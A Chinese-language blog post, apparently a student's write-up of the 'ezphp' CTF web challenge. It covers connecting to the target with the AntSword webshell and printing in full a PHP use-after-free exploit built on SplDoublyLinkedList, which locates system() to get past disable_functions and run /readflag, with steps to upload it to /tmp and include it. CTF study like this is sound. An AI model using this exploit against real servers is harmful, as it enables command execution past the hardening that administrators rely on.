寒假刷题(3)

寒假刷题(3)WEB_ezphp

解题过程

这道题本来看看觉得好像挺简单的,做起来发现不是这么回事

 

 

 尝试system('cat /flag');,发现无效,但是phpinfo到是能看到

 

 

 那就直接拿蚁剑连上去

 

根目录找到个readflag,不用怀疑flag就在这了

 

 

 

但是一打开我就不会了,满屏的红色乱码

 

 

 

 

 又是一遍熟悉的翻看wp时间,发现这里需要利用一个脚本,通过UAF bypass PHP disabled functions(https://xz.aliyun.com/t/8355#toc-3)

本题中disable_function禁用了一些关键的函数,所以蚁剑Bypass disable function插件并不支持利用,此处附上脚本,这里脚本需要稍微修改一下,因为脚本默认是读php版本信息

<?php
error_reporting(0);
$a = str_repeat("T", 120 * 1024 * 1024);
function i2s(&$a, $p, $i, $x = 8) {
    for($j = 0;$j < $x;$j++) {
        $a[$p + $j] = chr($i & 0xff);
        $i >>= 8;
    }
}

function s2i($s) {
$result = 0;
for ($x = 0;$x < strlen($s);$x++) {
$result <<= 8;
$result |= ord($s[$x]);
}
return $result;
}

function leak(&$a, $address) {
global $s;
i2s(
$a, 0x00, $address - 0x10);
return strlen($s -> current());
}

function getPHPChunk($maps) {
$pattern = '/([0-9a-f]+-[0-9a-f]+) rw-p 00000000 00:00 0 /';
preg_match_all($pattern, $maps, $match);
foreach ($match[1] as $value) {
list($start, $end) = explode("-", $value);
if (($length = s2i(hex2bin($end)) - s2i(hex2bin($start))) >= 0x200000 && $length <= 0x300000) {
$address = array(s2i(hex2bin($start)), s2i(hex2bin($end)), $length);
echo "[+]PHP Chunk: " . $start . " - " . $end . ", length: 0x" . dechex($length) . "\n";
return $address;
}
}
}

function bomb1(&$a) {
if (leak($a, s2i($_GET["test1"])) === 0x5454545454545454) {
return (s2i($_GET["test1"]) & 0x7ffff0000000);
}
else {
die("[!]Where is here");
}
}

function bomb2(&$a) {
$start = s2i($_GET["test2"]);
return getElement($a, array($start, $start + 0x200000, 0x200000));
die("[!]Not Found");
}

function getElement(&$a, $address) {
for ($x = 0;$x < ($address[2] / 0x1000 - 2);$x++) {
$addr = 0x108 + $address[0] + 0x1000 * $x + 0x1000;
for ($y = 0;$y < 5;$y++) {
if (leak($a, $addr + $y * 0x08) === 0x1234567812345678 && ((leak($a, $addr + $y * 0x08 - 0x08) & 0xffffffff) === 0x01)){
echo "[+]SplDoublyLinkedList Element: " . dechex($addr + $y * 0x08 - 0x18) . "\n";
return $addr + $y * 0x08 - 0x18;
}
}
}
}

function getClosureChunk(&$a, $address) {
do {
$address = leak($a, $address);
}
while(leak($a, $address) !== 0x00);
echo "[+]Closure Chunk: " . dechex($address) . "\n";
return $address;
}

function getSystem(&$a, $address) {
$start = $address & 0xffffffffffff0000;
$lowestAddr = ($address & 0x0000fffffff00000) - 0x0000000001000000;
for($i = 0; $i < 0x1000 * 0x80; $i++) {
$addr = $start - $i * 0x20;
if ($addr < $lowestAddr) {
break;
}
$nameAddr = leak($a, $addr);
if ($nameAddr > $address || $nameAddr < $lowestAddr) {
continue;
}
$name = dechex(leak($a, $nameAddr));
$name = str_pad($name, 16, "0", STR_PAD_LEFT);
$name = strrev(hex2bin($name));
$name = explode("\x00", $name)[0];
if($name === "system") {
return leak($a, $addr + 0x08);
}
}
}

class Trigger {
function __destruct() {
global $s;
unset($s[0]);
$a = str_shuffle(str_repeat("T", 0xf));
i2s(
$a, 0x00, 0x1234567812345678);
i2s(
$a, 0x08, 0x04, 7);
$s -> current();
$s -> next();
if ($s -> current() !== 0x1234567812345678) {
die("[!]UAF Failed");
}
$maps = file_get_contents("/proc/self/maps");
if (!$maps) {
cantRead(
$a);
}
else {
canRead(
$maps, $a);
}
echo "[+]Done";
}
}

function bypass($elementAddress, &$a) {
global $s;
if (!$closureChunkAddress = getClosureChunk($a, $elementAddress)) {
die("[!]Get Closure Chunk Address Failed");
}
$closure_object = leak($a, $closureChunkAddress + 0x18);
echo "[+]Closure Object: " . dechex($closure_object) . "\n";
$closure_handlers = leak($a, $closure_object + 0x18);
echo "[+]Closure Handler: " . dechex($closure_handlers) . "\n";
if(!($system_address = getSystem($a, $closure_handlers))) {
die("[!]Couldn't determine system address");
}
echo "[+]Find system's handler: " . dechex($system_address) . "\n";
i2s(
$a, 0x08, 0x506, 7);
for ($i = 0;$i < (0x130 / 0x08);$i++) {
$data = leak($a, $closure_object + 0x08 * $i);
i2s(
$a, 0x00, $closure_object + 0x30);
i2s(
$s -> current(), 0x08 * $i + 0x100, $data);
}
i2s(
$a, 0x00, $closure_object + 0x30);
i2s(
$s -> current(), 0x20, $system_address);
i2s(
$a, 0x00, $closure_object);
i2s(
$a, 0x08, 0x108, 7);
echo "[+]Executing command: \n";
(
$s -> current())("/readflag");
}

function canRead($maps, &$a) {
global $s;
if (!$chunkAddress = getPHPChunk($maps)) {
die("[!]Get PHP Chunk Address Failed");
}
i2s(
$a, 0x08, 0x06, 7);
if (!$elementAddress = getElement($a, $chunkAddress)) {
die("[!]Get SplDoublyLinkedList Element Address Failed");
}
bypass(
$elementAddress, $a);
}

function cantRead(&$a) {
global $s;
i2s(
$a, 0x08, 0x06, 7);
if (!isset($_GET["test1"]) && !isset($_GET["test2"])) {
die("[!]Please try to get address of PHP Chunk");
}
if (isset($_GET["test1"])) {
die(dechex(bomb1($a)));
}
if (isset($_GET["test2"])) {
$elementAddress = bomb2($a);
}
if (!$elementAddress) {
die("[!]Get SplDoublyLinkedList Element Address Failed");
}
bypass(
$elementAddress, $a);
}

$s = new SplDoublyLinkedList();
$s -> push(new Trigger());
$s -> push("Twings");
$s -> push(function($x){});
for ($x = 0;$x < 0x100;$x++) {
$s -> push(0x1234567812345678);
}
$s -> rewind();
unset($s[0]);

 

 

 

 (此处修改为/readflag)

我将这个脚本存为exe.php,上传至/tmp文件夹,其他文件夹貌似没有写入权限

然后利用hackbar在上传payload:include('/tmp/exe.php')或者require('/tmp/exe.php');

这里附上一个链接,方便自己将来查询调用:php代码审计总结 

成功爆出flag

 

 一些总结

这次虽然没有用上蚁剑里的Bypass disable function插件,但是第一次了解到了这个,回头试试这里面的插件

这个php脚本虽然用了,认识到了信息收集的重要性,但是不是很清楚怎样起作用的,我还是太菜了

参考链接

https://www.cnblogs.com/murkuo/p/14877199.html

https://blog.csdn.net/cjdgg/article/details/116987545

https://blog.csdn.net/mochu7777777/article/details/111916620

https://xz.aliyun.com/t/8355#toc-3

https://chybeta.github.io/2017/07/14/php%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E5%B0%8F%E6%80%BB%E7%BB%93/

 

posted @ 2022-01-18 20:11  willing-sir  阅读(35)  评论(0编辑  收藏  举报